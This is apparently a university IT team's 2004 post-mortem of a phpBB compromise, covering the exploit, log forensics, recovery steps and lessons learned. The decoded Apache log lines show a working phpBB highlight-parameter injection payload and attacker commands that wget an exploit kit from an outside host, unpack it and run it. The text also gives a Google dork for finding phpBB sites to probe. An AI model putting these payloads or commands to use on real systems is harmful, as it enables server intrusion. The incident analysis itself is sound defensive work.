phpBB Exploit Explained

This past weekend, a vulnerability was exploited on the ITLab production server and the ITC production server. The end result was that a denial of service attack was mounted from both servers. Big Brother picked up the problem and eventually the network port was disabled by the OCIO security team, who also notified us (Frank and Matthew) that there was a problem. The problems have been resolved and the two servers are being brought back on line. The purpose of this note is to alert you to the nature of the exploit, the information available to us about the exploit, the post mortem analysis of log files and the lessons we have learned.

Exploit

The scripting language, PHP, contains a feature called Magic Quotes which, when enabled and used with urldecode, direct commands can be passed to the target program.

See http://www.lostcoders.net/index-single-470.htm

The Exploit Vector

phpBB is a bulletin board package used in many settings, in our case, with the College of Medicine and some groups created for 3rd and 4th year students. Versions 2.0.10 and before contain the Magic Quote vulnerability while versions after 2.0.11 are immune. Other php programs permit the same vulnerability: in our case, Twiki on the ITC server. See:

• Security Focus for the phpBB exploit and Twiki for the Twiki exploit.

Detecting a vulnerable system

Google searches can be used to identify phpBB sites, which can then be systematically probed to reveal the vulnerability.

For example, "allinurl:phpbb site:.edu" takes us to Google Search and the second entry is a University of Chicago phpBB site.

The Saga

On Nov 24, 2004, a malformed URL was posted to phpBB which resulted in planting the source code to use one of the IT Lab servers as a host for who knows what. IRC was used to communicate between the infected host and control sites. We believe it was not activated until Nov 26, 2004.

The Audit Trail

Because of the way the IT Lab configured the servers, maintain software patches and loadable kernel modules are disabled, the vulnerability was limited to files and actions available to Apache, thus the likelihool of root exploits was reduced.

Because Apache log files contain the text of URL requests, we could decode each request and observe the actions of the exploitation. An example of the raw URL is

xxx.xx.aaa.bbb - - [24/Nov/2004:03:18:32 -0500]
"GET /phpBB/viewtopic.php?t=%32&rush=%65%63%68%6F%20%5F%53%54%41%52%54%
5F%3B%20%6C%73%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%
61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%
75%73%68%5D%29.%2527 HTTP/1.1" 404 1564 "-" "-"

and its decoded version is

xxx.xx.aaa.bbb - - [24/Nov/2004:03:18:32 -0500]
"GET /phpBB/viewtopic.php?t=2&rush=echo _START_; ls; echo
_END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27 HTTP/1.1" 404
1564 "-" "-"

Here is a simple perl script (urldecode.pl) for decoding the URLs, almost a one-liner:

#!/usr/bin/perl

use URI::Escape;

while (<>) {
    print uri_unescape($_)."\n";
}

Run it like so: grep "rush=" logfile | ./urldecode.pl

Recovery

A number of files in Apache-accessible directories were replaced with backups. Because config files could be read, we also changed any passwords that were embedded in config files, such as mysql.

By decoding each URL command used by the attackers, we could observe where files were moved and what actions were taken, thus greatly reducing the effort required to find compromised areas. (One can take the paranoid, but realistic position, that the logs themselves had been compromised and that we could not see the full extent. That root compromise did not occur prevented this scenario - but more on logging below).

Lessons Learned

Because this exploit used a "feature" of PHP (instead of a bug), all applications that use this feature are potentially suspect. In our case, we failed to recognize the updated version of phpBB which would have closed the exploit. Consequently, we must find better ways to track vulnerabilities in applications that use "features" that leave a system in a vulnerable state.

Our analysis is based on log files and thus the realiablity depends on accurate logging. Richard Gadsden and Chris Dufala have set up a logging system for firewall components. In our case, had we included remote logging on their system, it would have been much more difficult for even a root exploit to delete part of the Apache logs. Because of the URL logging facility within Apache, such remote logging also provides a very useful way to maintain HIPAA compliance by centrally managing web server log files for systems with sensitive clinical information. We will immediately implement remote logging in order to prevent future root exploits from deleting log records of the exploit.

Continuous education is an important component of maintaining a viable and robust network that is connected to the Internet. Here is an example of the decoded web log file:

Here they used wget to get an exploit kit:

yy.yy.c.ddd - - [26/Nov/2004:07:15:50 -0500] "GET /phpbb/viewtopic.php?t=11&rush=echo _START_; cd /tmp; wget foo.bar.tm/sx.tgz; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27 HTTP/1.1" 200 22413 "-" "-"

Here they unpack it:

yy.yy.c.ddd - - [26/Nov/2004:07:16:10 -0500] "GET /phpbb/viewtopic.php?t=11&rush=echo _START_; cd /tmp; tar xvzf sx.tgz; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27 HTTP/1.1" 200 22522 "-" "-"

Here they run inst, to compile/run it.

yy.yy.c.ddd - - [26/Nov/2004:07:16:21 -0500] "GET /phpbb/viewtopic.php?t=11&rush=echo _START_; cd /tmp/.sX/ ; ./inst; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27 HTTP/1.1" 200 22413 "-" "-"